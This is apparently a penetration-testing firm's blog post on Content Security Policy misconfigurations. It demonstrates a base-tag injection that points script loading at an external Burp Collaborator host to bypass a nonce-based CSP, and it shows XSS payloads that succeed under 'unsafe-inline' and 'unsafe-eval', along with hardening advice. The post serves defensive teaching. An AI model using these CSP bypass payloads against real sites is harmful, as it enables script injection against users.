TL;DR
- Content Security Policy (CSP) is an important security mechanism that, if configured correctly, can prevent attacks such as Cross-Site Scripting.
- … but insecure or missing directives can result in disabling any security features of a CSP or allow easy bypasses to be identified.
- CSP Evaluator is a simple tool that can help developers harden their CSP and improve the security of their applications.
- Thorough testing of a CSP is required to ensure it is configured securely and does not have a negative impact on the end user experience.
Introduction
The Content Security Policy (CSP) is a layer of security for web applications that helps detect and stop client-side attacks such as Cross-Site Scripting (XSS), Clickjacking, data exfiltration, or mixed content loading. Web applications will set a CSP in their response headers with a selection of parameters that control what the browser interprets as expected activity.
While most web applications today have this setting configured, in many instances we see it is either configured incorrectly or not configured at all.
This blog will highlight an issue identified in a recent engagement where the CSP had relatively strict directives set. However, due to one missing directive, it was possible to bypass the intended CSP restrictions and execute an XSS attack. Additionally, this blog will cover a couple of other misconfigurations that are commonly found on engagements.
Real world scenario
A simple web application was created using ChatGPT to replicate an issue identified during an engagement. This application takes user’s input, and displays it back onto the page:

This application loaded a JavaScript file at /static/scripts.js which logged a successful message to the console. This was used to simulate a script-src nonce in the CSP, meaning only this JavaScript could be loaded by the application.
The application in the original engagement lacked input sanitisation on multiple form fields, with the untrusted data reflected on the page , making them potentially vulnerable to XSS. However, any XSS payloads such as <img src=x onerror=alert(1)> did not execute due to the script-src directive within the CSP. This produced an error message in the browser console:

The CSP used in the custom application was modelled on the policy seen in the engagement, and can be seen in full below:
default-src 'none'; script-src 'nonce-9htgbbW+4wfn1bU1jyj1fg=='; style-src 'nonce-9htgbbW+4wfn1bU1jyj1fg==' https://cdn.jsdelivr.net; img-src 'self'; connect-src 'self'; font-src 'self'
Let’s break this down:
- Default-src ‘none’;
- Serves as a fallback for the other CSP fetch directives.
- No content is allowed to be loaded from any source. Although, if other fetch directives are used, then these take precedent.
- script-src ‘nonce-9htgbbW+4wfn1bU1jyj1fg==’;
- Specifies valid sources for JavaScript.
- Only scripts with this nonce value are allowed to be loaded and executed. All other scripts will be blocked.
- style-src ‘nonce-9htgbbW+4wfn1bU1jyj1fg==’ https://cdn.jsdelivr.net;
- Specifies valid sources for stylesheets.
- Only stylesheets with this nonce value or hosted on the specified URL can be loaded.
- img-src ‘self’;
- Specifies valid sources of images and favicons.
- Only images from the same origin can be loaded.
- connect-src ‘self’;
- Restricts the URLs which can be loaded using script interfaces such as WebSockets or XHR.
- Only allows the application to make network requests to the same origin.
- font-src ‘self’
Specifies valid sources for fonts loaded using @font-face, which can only be loaded from the same origin.While this CSP aims to restrict what resources can be loaded by using nonce values, running it through CSP Evaluator, which is a tool by Google that allows users to review their CSP, showed one major configuration weakness:

This detailed that the base-uri directive is missing. The base-uri directive restricts the URLs which can be used in a document’s <base> element. This allows for an easy bypass, which first starts with using the following payload which included a link to our Burp Collaborator server:
<base href=//dhyzzc7ymkqkpudy9q8vif94pvvmjc71.<redacted.domain>

As shown in the console, this attempted to load /static/script.js from our Burp Collaborator URL as well as /static/ptp_logo.jpg, which failed due to the img-src directive only allowing images from the application itself .
Looking at Burp Collaborator, we can see the initial request made to grab the JavaScript file:

This shows that the payload successfully executed, and detailed which resources are loaded by the vulnerable page, which can be used to leverage this vulnerability further. A JavaScript file containing an XSS payload with the same filename requested by the application can then be hosted on an external server.

The payload was then updated to point at this new server:


This was able to bypass the CSP and leverage the lack of user input sanitation to successfully execute an XSS attack.
What happens if we now set the ‘base-uri’ to ‘none’? This ensures that no base URI can be set using <base> tags. When we try the same payload again, It’s blocked:

A simple configuration change was able to mitigate the bypass identified. When this CSP is ran through CSP evaluator, we can see there are no major issues:

Scenarios like these demonstrate the importance of fully understanding the policies in place and highlight the impact a single misconfiguration can make.
Strict-dynamic
When using the nonce attribute, the ‘strict-dynamic’ directive can also be set. This allows the execution of other JavaScript files, but only if it is loaded from the trusted script with the correct nonce value. This can be useful for loading third-party scripts and helps reduce the effort of deploying a nonce-based CSP.
For example, let’s update the /static/script.js to load an external JavaScript file into the application:
console.log("Script loaded with nonce.");
const s = document.createElement('script');
s.src = 'https://cdn.jsdelivr.net/gh//public/github.js';
document.head.appendChild(s);
This JavaScript file contains the following:
console.log("JS code from Github");
he current CSP is set to only allow /static/script.js to be loaded:
default-src 'none'; base-uri 'self'; script-src 'nonce-hMAQLYKZ9xFfBoDHwTlndw=='; style-src 'nonce-hMAQLYKZ9xFfBoDHwTlndw==' https://cdn.jsdelivr.net; img-src 'self'; connect-src 'self'; font-src 'self'
This fails to load the external JavaScript file as it violates the CSP:

However, let’s now modify the CSP to include the ‘strict-dynamic’ directive:
default-src 'none'; base-uri 'self'; script-src 'nonce-dOJ2aQX51YF5DeIO+5plsA==' 'strict-dynamic'; style-src 'nonce-dOJ2aQX51YF5DeIO+5plsA==' https://cdn.jsdelivr.net; img-src 'self'; connect-src 'self'; font-src 'self'
When the application is loaded, we can now see that the external JavaScript file is loaded and executed:

This directive isn’t as common in web applications we see during testing, which is mostly due to nonce values not being used in the first instance. These directives are powerful, which makes it harder to configure them properly, whilst ensuring end users are not impacted.
Unsafe directives
Commonly we see the following directives being used, which are generally classed as dangerous:
- Unsafe-eval
- Unsafe-inline
The ‘unsafe-eval’ directive allows scripts to evaluate strings as JavaScript. An attacker might be able to take advantage of those risky scripts using eval functions to trigger a DOM XSS.
The ‘unsafe-inline’ directive allows scripts to be inserted inline in the HTML page. An attacker might be able to use script html tags or event handlers (onload, onerror, etc.) to load malicious scripts.
For example, let’s take the following CSP:
default-src 'none'; base-uri 'self'; style-src 'nonce-n+EB8WH2uxJiEztanTCytA==' https://cdn.jsdelivr.net; script-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'
This will only allow resources to be loaded from its origin, or the URLs specified, which means payloads such as <script>alert(1)</script> are blocked:

Let’s now add unsafe-line, which result in the following CSP:
default-src 'none'; base-uri 'self'; style-src 'nonce-TLRe+RMWVKEodanhvLd0Sg==' https://cdn.jsdelivr.net; script-src 'self' 'unsafe-inline'; img-src 'self'; connect-src 'self'; font-src 'self'
This would then make the application vulnerable to XSS again by allowing the inline script to execute:

This is why nonce attributes are favourable, as they avoid the use of unsafe-inline directives providing other directives are configured correctly.
Looking quickly at unsafe-eval, let’s say the application took the user input and processed the unsanitised values using the eval function in the following JavaScript file:
const userInput = document.querySelector("#xss-payload strong");
if (userInput){
try {
eval(userInput.textContent);
} catch (e) {
console.error("Eval error:", e);
}
}
If the below CSP is configured, any XSS payloads will be blocked:
default-src ‘none’; base-uri ‘self’; style-src ‘nonce-GUGauE3/f6XIqy8Fi/Wixw==’ https://cdn.jsdelivr.net; script-src ‘self’; img-src ‘self’; connect-src ‘self’; font-src ‘self’
This is also detailed in the console log, where a call to eval() was blocked by the CSP:

Next, we modify the CSP to use the ‘unsafe-eval’ directive:
default-src 'none'; base-uri 'self'; style-src 'nonce-vXg0wprnUGe8vW13Ziu6Hg==' https://cdn.jsdelivr.net; script-src 'self' 'unsafe-eval'; img-src 'self'; connect-src 'self'; font-src 'self'
When the same payload is submitted again, the XSS is now able to execute:

Although this does require specific functions or methods to be in-use by the web application, it demonstrates that the unsafe-eval directive can negate any security benefits of a CSP.
Frame-ancestors
X-Frame-Options is a HTTP header that protected applications against Clickjacking; however, this is now obsolete. The frame-ancestors directive within the CSP should be used instead to indicate whether a browser should be allowed to render a page in an iframe, such as:
frame-ancestors 'none';
Conclusion
In this specific scenario, setting the base-uri to ‘none’ or ‘self’ would have mitigated this specific finding, and highlights the impact minor misconfigurations can have.
Unfortunately, there is no one solution that fits all when it comes to configuring a CSP as it requires careful tuning and precise definition of the policy, which will depend on your application’s requirements. When it is configured securely, this provides additional security benefits and can mitigate vulnerabilities such as XSS, if they were to occur.
The Content-Security-Policy-Report-Only header should be used during development as it can allow developers to fine tune the policy and monitor the effects of the CSP without enforcing it.
This blog only covers a few misconfigurations, with multiple other weaknesses possible through overly permissive, misconfigured, or missing directives. The range of misconfigurations possible shows just how easy it can be easy to make mistakes.
A CSP should be used as a line of defence and not be relied upon to mitigate against client-side attacks. User input should always be treated as untrusted and sanitised appropriately.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- https://csp-evaluator.withgoogle.com/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy